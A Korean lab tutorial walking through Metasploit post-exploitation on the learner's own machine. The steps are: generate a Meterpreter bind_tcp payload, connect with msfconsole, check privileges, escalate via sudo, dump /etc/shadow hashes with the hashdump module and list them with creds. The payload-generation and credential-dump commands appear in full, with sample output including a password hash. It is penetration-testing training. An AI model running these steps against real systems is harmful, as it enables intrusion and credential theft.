소개
이 실습에서는 Metasploit Framework 를 사용하여 중요한 사후 침투 (post-exploitation) 작업을 수행합니다. 사후 침투는 공격자가 타겟 시스템을 성공적으로 침해한 후에 발생하는 단계입니다. 이 단계의 목표는 정보를 수집하고, 권한을 상승시키며, 자격 증명 (비밀번호 해시 등) 을 추출하여 접근 권한을 유지하거나 네트워크 내의 다른 시스템으로 측면 이동 (lateral movement) 하는 것입니다.
자격 증명에 대한 접근은 매우 중요합니다. 하나의 호스트를 침해하는 것은 종종 시작에 불과하기 때문입니다. 비밀번호 정보와 토큰은 로컬 침해에서 더 넓은 네트워크 범위로 나아가는 가교 역할을 합니다.
여러분은 강력한 명령 셸을 제공하는 고급 동적 확장 가능 페이로드인 Meterpreter 를 사용하게 됩니다. 실습을 통해 현재 사용자 권한을 확인하고, 권한 상승을 시뮬레이션하며, 로컬 비밀번호 해시를 추출하고, 향후 사용을 위해 Metasploit 데이터베이스에 이러한 자격 증명을 저장하는 방법을 배웁니다.
이 과정은 의도적으로 설계되었습니다. 권한 수준에 따라 접근할 수 있는 비밀 정보가 결정되며, 확보한 비밀 정보는 종종 다음에 어디로 이동할 수 있는지를 결정하기 때문입니다.
현재 권한 확인 (getuid)
이 단계에서는 Metasploit 을 설치하고, Meterpreter 페이로드를 생성하며, 첫 번째 세션을 설정하여 환경을 구성합니다. 연결이 완료되면 getuid 명령을 사용하여 페이로드가 실행 중인 사용자 계정을 식별합니다.
현재 자신의 신원을 파악하는 것은 기본이지만 필수적인 과정입니다. 많은 사후 침투 작업의 성공 여부는 세션이 어떤 계정 컨텍스트에서 실행되는지에 따라 결정됩니다.
먼저, 준비된 설치 스크립트를 사용하여 Metasploit Framework 를 설치합니다. 이 과정에서 필요한 구성 요소가 다운로드되고 설치됩니다.
sudo /tmp/msfinstall
Metasploit 은 추출된 자격 증명과 같은 정보를 추적하기 위해 PostgreSQL 데이터베이스를 사용합니다. 이 실습 환경에서는 msfdb init이 로컬 데이터베이스를 자동으로 준비할 수 있으므로 직접 초기화할 수 있습니다.
msfdb init
postgresql: unrecognized service와 같은 메시지가 표시되더라도 msfdb init이 성공적으로 완료된다면 이 환경에서는 무시해도 됩니다.
다음으로, 리눅스용 Meterpreter 페이로드를 생성합니다. 페이로드는 타겟 시스템에서 실행되는 악성 코드입니다. 타겟에 포트를 열고 연결을 기다리는 bind_tcp 페이로드를 생성하겠습니다.
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o ~/project/payload.elf
현재 실습 환경에서 Metasploit 을 처음 사용하는 경우, msfvenom이 실행되기 전에 초기 설정 프롬프트가 나타날 수 있습니다. 새 데이터베이스를 설정할지 묻는 메시지가 나오면 yes를 입력하고 설정이 완료될 때까지 기다리세요. 그 후 msfvenom이 계속 실행되어 페이로드 파일을 저장합니다.
생성된 페이로드를 실행 가능하도록 변경합니다.
chmod +x ~/project/payload.elf
이제 페이로드를 백그라운드에서 실행합니다. 이는 피해자가 자신의 시스템에서 악성 파일을 실행하는 상황을 시뮬레이션합니다.
./payload.elf &
페이로드가 4444 포트에서 실행 중이므로 msfconsole을 사용하여 연결합니다. 다음 명령은 핸들러를 자동으로 구성하고 페이로드에 연결하여 Meterpreter 세션으로 바로 진입하게 합니다.
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/bind_tcp; set RHOST 127.0.0.1; set LPORT 4444; exploit"
연결이 설정되면 meterpreter > 프롬프트가 나타납니다. 현재 권한을 확인하려면 다음 명령을 입력하세요.
getuid
표준 labex 사용자로 실행 중임을 나타내는 다음과 유사한 출력이 표시되어야 합니다.
Server username: uid=1000, gid=1000, euid=1000, egid=1000
권한 상승 (getsystem)
실제 시나리오에서 표준 사용자 권한은 비밀번호 해시 덤프와 같은 중요한 작업을 수행하기에 부족한 경우가 많습니다. 공격자는 권한을 최고 수준으로 상승시켜야 합니다.
Windows 환경에서 Meterpreter 는 getsystem 명령을 제공하여 NT AUTHORITY\SYSTEM으로 권한을 상승시키기 위한 다양한 기술을 자동으로 시도합니다. 그러나 리눅스 시스템에서 권한 상승은 일반적으로 로컬 취약점이나 잘못된 설정 (예: 취약한 sudo 권한) 을 악용하여 root 사용자가 되는 과정을 포함합니다.
리눅스 환경에서 실습 중이므로, sudo를 사용하여 페이로드를 실행함으로써 성공적인 권한 상승을 시뮬레이션합니다.
먼저, 현재 표준 사용자 Meterpreter 세션을 종료합니다.
exit
세션이 닫히고 표준 리눅스 터미널로 돌아갑니다. 일반 셸 프롬프트 (labex:project/ $와 유사) 로 돌아올 때까지 기다리세요. 해당 셸 프롬프트로 돌아온 후에만 다음 명령을 실행해야 합니다.
이제 페이로드를 다시 실행하되, 이번에는 sudo를 사용하여 root 사용자로 실행합니다. & 기호는 백그라운드에서 실행되도록 합니다.
sudo ./payload.elf &
이전과 마찬가지로 msfconsole을 사용하여 새로 생성된 높은 권한의 페이로드에 연결합니다.
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/bind_tcp; set RHOST 127.0.0.1; set LPORT 4444; exploit"
meterpreter > 프롬프트가 나타나면 사용자 ID 를 다시 확인하여 권한 상승이 성공했는지 확인합니다.
getuid
출력 결과는 시스템 수준 (root) 접근 권한을 가졌음을 확인해 줄 것입니다. 이 환경에서 가장 일반적인 출력은 다음과 같습니다.
Server username: root
일부 Meterpreter 빌드에서는 uid=0, gid=0, euid=0, egid=0과 같이 더 자세한 숫자 형태가 표시될 수 있습니다. 두 형태 모두 세션이 root 권한으로 실행 중임을 나타냅니다.
해시 덤프 실행 (Hashdump)
이제 시스템 수준의 접근 권한을 확보했으므로 고급 사후 침투 작업을 수행할 수 있습니다. 가장 중요한 작업 중 하나는 비밀번호 해시를 추출하는 것입니다.
이 단계에서 권한 상승이 운영상의 영향력으로 이어집니다. 높은 권한은 보호된 자격 증명 저장소와 민감한 시스템 상태에 접근할 수 있게 해주기 때문에 유용합니다.
Windows 에서 공격자는 hashdump 명령을 사용하여 SAM(Security Account Manager) 데이터베이스에서 해시를 추출합니다. 리눅스에서 사용자 비밀번호 해시는 /etc/shadow 파일에 저장되며, 이 파일은 root 사용자만 읽을 수 있습니다. Metasploit 은 이러한 리눅스 해시의 추출 및 파싱을 자동화하는 특정 사후 침투 모듈을 제공합니다.
활성화된 root Meterpreter 세션에서 다음을 입력하여 리눅스 해시 덤프 모듈을 실행합니다.
run post/linux/gather/hashdump
Metasploit 이 하나 이상의 계정 해시를 추출하고, 언섀도우 (unshadowed) 된 결과를 loot 디렉토리에 저장했다는 출력이 표시됩니다.
[+] labex:$y$j9T$24vG2N.x5ruy90hsyJXIe/$oFFK7PjuOmn3X2n/DoLh9YYg1Is/gEM2VAi/Qvl.812:5000:5000::/home/labex:/usr/bin/zsh
[+] Unshadowed Password File: /home/labex/.msf4/loot/20260314100052_default_127.0.0.1_linux.hashes_334082.txt
이렇게 추출된 해시는 나중에 John the Ripper 나 Hashcat 과 같은 도구를 사용하여 오프라인 비밀번호 크래킹 공격을 수행함으로써 평문 비밀번호를 복구할 수 있으며, 이를 통해 네트워크 전반으로 측면 이동을 수행할 수 있습니다.
데이터베이스에 해시 저장 (creds)
Metasploit Framework 를 사용하는 주요 장점 중 하나는 침투 과정에서 수집한 데이터를 자동으로 관리하는 기능입니다. 1 단계에서 데이터베이스를 초기화했기 때문에 Metasploit 은 방금 덤프한 비밀번호 해시를 자동으로 저장합니다.
저장된 자격 증명을 보려면 메인 msfconsole 프롬프트로 돌아가야 합니다. 현재 Meterpreter 세션을 백그라운드로 전환하여 이를 수행할 수 있습니다.
Meterpreter 프롬프트에서 다음을 입력합니다.
background
msf6 > 프롬프트로 돌아옵니다. 이제 creds 명령을 사용하여 Metasploit 이 수집하여 데이터베이스에 저장한 모든 자격 증명을 표시합니다.
creds
출력 결과에는 호스트 IP, 포트, 사용자 이름, 추출된 비밀번호 해시가 포함된 구조화된 테이블이 표시됩니다.
Credentials
===========
id host origin service public private realm private_type JtR Format cracked_password
-- ---- ------ ------- ------ ------- ----- ------------ ---------- ----------------
1 127.0.0.1 labex $y$j9T$24vG2N.x5ruy90hsyJXIe/$oFFK7PjuOmn3X2n/DoLh9YYg1Is/gEM2VAi/Qvl.812 Nonreplayable hash yescrypt
이러한 중앙 집중식 자격 증명 관리는 대규모 모의 해킹 테스트 중에 매우 유용하며, 침해된 계정을 쉽게 추적하고 다른 Metasploit 모듈에서 재사용할 수 있게 해줍니다.
msfconsole을 종료하고 실습을 완료하려면 다음을 입력하세요.
exit
Metasploit 이 여전히 활성 세션이 열려 있다고 경고하면 exit -y를 입력하여 콘솔을 닫고 실습을 종료합니다.
요약
이 실습에서 여러분은 Metasploit Framework 를 사용하여 사후 침투의 핵심 단계를 성공적으로 수행했습니다. Meterpreter 세션을 설정하고, getuid를 사용하여 현재 권한을 확인하며, 권한 상승 (getsystem의 목표 시뮬레이션) 의 중요성을 이해했습니다. 또한 Metasploit 의 사후 침투 모듈을 활용하여 hashdump를 실행하고 타겟 시스템에서 로컬 비밀번호 해시를 추출했습니다. 마지막으로 Metasploit 이 이러한 결과물을 자동으로 관리하는 방법을 살펴보고 creds 명령을 사용하여 저장된 자격 증명을 확인했습니다. 이러한 기술은 시스템의 보안 상태를 평가하고 공격자가 네트워크 내에서 어떻게 측면 이동하는지 이해하는 데 필수적입니다.



